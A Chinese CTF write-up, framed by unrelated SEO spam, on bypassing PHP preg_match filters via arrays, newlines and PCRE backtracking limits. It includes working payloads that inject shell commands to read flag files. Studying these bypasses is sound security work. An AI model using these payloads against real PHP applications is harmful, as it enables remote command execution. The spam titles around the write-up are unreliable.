当前位置: 首页 > news >正文

选择网站做友情链接的标准一般是中国建设企业协会网站

选择网站做友情链接的标准一般是,中国建设企业协会网站,前海网站建设,建设网站公司哪家好目录 ①[FBCTF 2019]rceservice ②[ctfshow]web130 ③[ctfshow]web131 ④[NISACTF 2022]middlerce 简单回顾一下基础 参考文章 p牛神文 preg_match绕过总的来讲就三块可利用 数组绕过、PCRE回溯次数限制、换行符 ①[FBCTF 2019]rceservice 先贴出附件给的源码 &l…

目录

①[FBCTF 2019]rceservice

②[ctfshow]web130

③[ctfshow]web131

④[NISACTF 2022]middlerce 


简单回顾一下基础

参考文章

p牛神文 

preg_match绕过总的来讲就三块可利用

数组绕过、PCRE回溯次数限制、换行符 

①[FBCTF 2019]rceservice

先贴出附件给的源码

<html><body><h1>Web Adminstration Interface</h1><?phpputenv('PATH=/home/rceservice/jail');if (isset($_REQUEST['cmd'])) {$json = $_REQUEST['cmd'];if (!is_string($json)) {echo 'Hacking attempt detected<br/><br/>';} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {echo 'Hacking attempt detected<br/><br/>';} else {echo 'Attempting to run command:<br/>';$cmd = json_decode($json, true)['cmd'];if ($cmd !== NULL) {system($cmd);} else {echo 'Invalid input';}echo '<br/><br/>';}
}?><form>Enter command as JSON:<input name="cmd" /></form></body>
</html>

先进行一个命令的输

{"cmd":"ls"}

 

这里用%0a绕过preg_match 

 {%0a"cmd":"ls /home/rceservice"%0a}

 

因为putenv('PATH=/home/rceservice/jail');修改了环境变量,所以只能使用绝对路径使用cat命令,cat命令在/bin文件夹下

系统命令需要有特定的环境变量的也就是路径,系统找不到该路径下的exe文件无法执行系统命令,因此这个地方查阅资料后发现只能调用绝对路径下的命令,cat命令就在/bin/目录下面

{%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}

 

 或者用PCRE回溯次数限制

import requestsurl = "http://node4.anna.nssctf.cn:28428/"
data = {'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","r1":"'+'a'*1000000+'"}'
}
r=requests.post(url=url,data=data).text #使用post方法请求,get方法会因为请求头过大而报错
print(r)

 

 

②[ctfshow]web130

preg_match():其中的‘.’代表着匹配前面的单个字符,‘+’代表匹配一次或者是多次,‘+?’代表重复一次或者多次,尽可能的少重复;(大概就是匹配到*ctfshow,*代表任意字符,就会返回true)

stripos()函数:不区分大小写,返回子串在字符串中第一次出现的位置,位置是从0开始的;没有查找到,返回FALSE,stripos函数对于传递数组情况下,返回值为NULL,NULL!=FALSE

payload1:

f[]=1

 payload2:

import requestsurl = 'http://aec6932e-6362-4305-a31f-d8e5bcf75925.challenge.ctf.show/'
data = {'f': 'very' * 250000 + 'ctfshow'
}
r = requests.post(url=url, data=data).text
print(r)

③[ctfshow]web131

 

这里和上题不同的是对$f先进行了一个String强制类型转换

具体见此文

意思就是不能用数组绕过了

所以用用PCRE回溯次数限制

payload:

import requestsurl = 'http://c061faf3-dfef-42c6-8dd4-f223a635b59c.challenge.ctf.show/'
data = {'f': 'very' * 250000 + '36Dctfshow'
}r = requests.post(url=url, data=data).text
print(r)

④[NISACTF 2022]middlerce 

(和题①不能说一模一样只能说是如出一辙 )

payload:

import requests
url = "http://node4.anna.nssctf.cn:28848/"
# 直接构造json串
data='{"cmd":"?><?= `nl /f*`?>;","overflow":"'+"-"*1000000+'"}'
res = requests.post(url=url,data={"letter":data})
print(res.text)

 (因为有一些waf,所以这样构造,这里不深入讨论)

http://www.yayakq.cn/news/500381/

相关文章:

  • 乐清市住房和城乡建设规划局网站我国最大的c2c电商平台
  • 网站信息化建设存在的困难十大热点新闻
  • 新乡网站自然优化专业上海网站建设公司哪家好
  • 外汇平台网站开发需求说明产品软文范例800字
  • 网站建设和咨询服务合同模块网站和定制网站区别
  • 湖北省建设厅网站上岗证查询急切网
  • 株洲网站建设开发工程模板多少钱一张
  • 网站出现的的问题论坛打赏网站开发
  • 莆田建设信息网站可以做视频片头的网站
  • 一站式 wordpresswordpress后台框架推荐
  • 建站工具有哪些社区定制营销产生的原因
  • 自己建设淘宝客网站需要备案么平面设计软件排行
  • 网站开发职位要求如何自己做跨境电商
  • 太原做网站软件西安家电商城网站建设
  • 网站开发运营工程师待遇深圳坪山网站建设
  • 为网站的特色功能设计各种模板温州seo排名公司
  • 制作自己的平台网站不同用户入口的网站样板
  • 网站推广是网站建设完成之后的长期工作。win2012 iis 新建网站
  • 深圳建站的公司关于建设网站的报告书
  • 章丘网站建设企业建站 炫酷模板
  • 如何查看网站页面大小天元建设集团有限公司北京分公司
  • 最好的网站建设前端开发兼职
  • 在哪个网站可以找到做国珍的人纪念册设计制作
  • 淮安市建设工程初级职称申报网站做简历有什么网站
  • 优秀网站设计的标准第五届中国国际进口博览会召开时间
  • 昆明网站建设在河科技庆阳网站制作
  • 网站建设市场介绍网站怎么优化 优帮云
  • 在线代理浏览网站免费广州万户网络怎么样
  • 如何建立一个网站要多少钱北京市建设工程招标网站
  • 洛阳恒凯做的网站有哪些跨境电商怎么注册开店